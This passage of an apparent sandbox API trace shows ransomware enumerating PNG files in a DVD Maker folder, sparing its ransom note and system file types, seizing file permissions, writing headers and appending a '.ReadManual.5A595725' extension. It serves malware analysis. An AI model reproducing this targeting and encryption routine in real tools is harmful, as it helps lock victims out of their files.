(psz1="png", psz2="lnk") returned 1 [0254.569] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" [0254.569] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725" [0254.569] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png.ReadManual.5A595725") returned 122 [0254.569] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37523818277) returned 1 [0254.569] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png")) returned 0x20 [0254.570] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.570] GetLastError () returned 0x5 [0254.570] GetNamedSecurityInfoW () returned 0x0 [0254.570] SetNamedSecurityInfoW () returned 0x0 [0254.571] SetNamedSecurityInfoW () returned 0x0 [0254.572] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.572] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3130) returned 1 [0254.572] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc3a, lpName=0x0) returned 0x1a0 [0254.572] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x104) returned 1 [0254.573] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.573] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.575] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.575] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc3a) returned 0x2f0000 [0254.575] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.575] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37524377983) returned 1 [0254.575] CloseHandle (hObject=0x1a0) returned 1 [0254.575] SetSecurityInfo () returned 0x5 [0254.575] SetSecurityInfo () returned 0x5 [0254.575] LocalFree (hMem=0x674d38) returned 0x0 [0254.575] CloseHandle (hObject=0x184) returned 1 [0254.576] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f60ff4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f60ff4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.576] lstrcpyW (in: lpString1=0x6ab91c, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0254.576] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.576] StrStrIW (lpFirst="NavigationRight_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.576] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.576] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.576] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.576] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.576] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.576] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.576] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" [0254.576] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725" [0254.576] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.ReadManual.5A595725") returned 117 [0254.576] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37524524438) returned 1 [0254.577] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png")) returned 0x20 [0254.577] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.577] GetLastError () returned 0x5 [0254.577] GetNamedSecurityInfoW () returned 0x0 [0254.577] SetNamedSecurityInfoW () returned 0x0 [0254.578] SetNamedSecurityInfoW () returned 0x0 [0254.579] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.579] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5025) returned 1 [0254.579] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a1, lpName=0x0) returned 0x1a0 [0254.579] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xfa) returned 1 [0254.580] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.580] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.581] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.582] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a1) returned 0x2f0000 [0254.582] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.582] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37525062632) returned 1 [0254.582] CloseHandle (hObject=0x1a0) returned 1 [0254.582] SetSecurityInfo () returned 0x5 [0254.582] SetSecurityInfo () returned 0x5 [0254.582] LocalFree (hMem=0x674d38) returned 0x0 [0254.582] CloseHandle (hObject=0x184) returned 1 [0254.582] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6360a8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6360a8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.582] lstrcpyW (in: lpString1=0x6ab91c, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0254.582] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.582] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.583] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.583] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.583] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.583] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.583] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.583] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.583] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" [0254.583] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0254.583] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 123 [0254.583] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37525176541) returned 1 [0254.583] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0254.583] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.583] GetLastError () returned 0x5 [0254.583] GetNamedSecurityInfoW () returned 0x0 [0254.584] SetNamedSecurityInfoW () returned 0x0 [0254.584] SetNamedSecurityInfoW () returned 0x0 [0254.585] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.585] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0254.586] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0254.586] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x106) returned 1 [0254.586] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.586] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.588] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.588] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0254.588] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.588] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37525695565) returned 1 [0254.588] CloseHandle (hObject=0x1a0) returned 1 [0254.588] SetSecurityInfo () returned 0x5 [0254.588] SetSecurityInfo () returned 0x5 [0254.588] LocalFree (hMem=0x674d38) returned 0x0 [0254.588] CloseHandle (hObject=0x184) returned 1 [0254.589] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.589] lstrcpyW (in: lpString1=0x6ab91c, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0254.589] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.589] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.589] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.589] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.589] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.589] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.589] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.590] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.590] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.590] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" [0254.590] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0254.590] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 114 [0254.590] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37525843520) returned 1 [0254.590] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0254.590] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.590] GetLastError () returned 0x5 [0254.590] GetNamedSecurityInfoW () returned 0x0 [0254.590] SetNamedSecurityInfoW () returned 0x0 [0254.591] SetNamedSecurityInfoW () returned 0x0 [0254.592] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.592] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0254.592] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0254.592] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf4) returned 1 [0254.593] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.593] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.595] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.595] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0254.595] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.595] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37526374515) returned 1 [0254.595] CloseHandle (hObject=0x1a0) returned 1 [0254.595] SetSecurityInfo () returned 0x5 [0254.595] SetSecurityInfo () returned 0x5 [0254.595] LocalFree (hMem=0x674d38) returned 0x0 [0254.595] CloseHandle (hObject=0x184) returned 1 [0254.595] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f65c205, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f65c205, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd536e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.595] lstrcpyW (in: lpString1=0x6ab91c, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0254.595] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.595] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.595] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.595] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.596] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.596] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.596] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.596] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.596] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.596] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" [0254.596] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0254.596] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 120 [0254.596] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37526470200) returned 1 [0254.596] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.596] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.596] GetLastError () returned 0x5 [0254.596] GetNamedSecurityInfoW () returned 0x0 [0254.597] SetNamedSecurityInfoW () returned 0x0 [0254.597] SetNamedSecurityInfoW () returned 0x0 [0254.599] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.599] GetFileSizeEx (in: hFile=0x184, 